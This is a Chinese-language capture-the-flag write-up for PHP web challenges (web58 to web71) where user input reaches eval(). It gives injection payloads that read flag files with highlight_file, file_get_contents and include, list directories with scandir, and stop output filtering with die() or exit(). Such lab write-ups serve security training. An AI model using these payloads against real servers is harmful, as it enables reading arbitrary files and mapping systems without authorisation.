目录
web58
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
PHP eval() 函数介绍
定义和用法
eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾(php代码语句,不能是简单的2+3)。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
区分eval函数和system函数:http://t.csdnimg.cn/pD1Ow
再介绍一些执行系统命令的函数:
但在本题这些函数都用不了
思路一:
这里介绍两个函数:
- show_source();
- highlight_file();
或者说这两个函数是一样的,只是名称不一样
用法:
highlight_file(filename,return)
//filename必选
//return可选
结果就是输出filename文件里面的代码(不会执行filename里面的运算或输出)并进行高亮显示
payload:c=highlight_file("flag.php"); //注意这里是有分号的,因为eval函数执行的是php语句;
思路二:
尝试文件读取函数file_get_contents(path),path参数必选,还有其他几个参数是可选,这里不赘述了
用法:file_get_contents() 把整个文件读入一个字符串中。
案例:
<?php
echo file_get_contents("test.txt");
?>
//输出This is a test file with test text.
payload:c=file_get_contents("flag.php");
payload:c=$a=file_get_contents("flag.php");echo $a;
//这两个应该都可以
思路三:
尝试文件包含函数:include()
include()函数是PHP中用于包含外部文件内容的函数。它允许在一个PHP文件中嵌入另一个文件的内容,这对于代码重用和模块化非常有用。include()函数的行为是,如果文件不存在,它只会发出一个警告,并且脚本会继续执行。
可以通过使用伪协议对其内容执行输出
伪协议是PHP中一种特殊的数据URI方案,它允许在URL中直接包含数据或执行代码。通过使用伪协议,可以在不经过服务器文件系统的情况下直接读取或执行数据。
payload如下:
得到flag.php文件内容的base64编码,将其解码即可
或者payload:
c=include(flag.php);echo $flag;
web59~web65
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
思路一和思路三在这几题中都可以白嫖
web66~web67
题目一样,使用c=highlight_file("flag.php");
说明flag不在flag.php文件里面;
那么我们应该查找目录结构中包含的文件:c=var_dump(scandir("."));或者c=print_r(scandir("."));
scandir()从名字上看该函数就是扫描目录文件的,
- .和./都表示当前目录
- ../表示上一级目录
- /表示根目录
扫描根目录(c=var_dump(scandir("/"));发现了flag.txt
payload:c=highlight_file("/flag.txt");
web68~web70
本题highlight_file()和show_source()都不能用;还是尝试include()
(经过查找目录,猜测flag应该在/flag.txt中)
补充:include包含的文件如果不是php文件或者说是html文件,那么会自动输出文件内容,不用写echo $flag
当然本题还可以用伪协议php:filter,也是同样的效果
web71
发现有附件,打开提示
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
ob_get_contents()是将缓冲区的内容输出,然后ob_end_clean()清空缓冲区,最后将缓冲区内容(flag)中的字符全部替换成?,最后输出;
这就是为什么我们执行命令后(c=include("/flag.txt");)输出的都是?????
既然eval函数后面的代码会影响我们的输出,那我们可以直接不执行后面的代码;
有两个函数可以停止后面代码的执行
- die(); //c=include("/flag.txt");die();
- exit(); //c=include("/flag.txt");exit();
拿到flag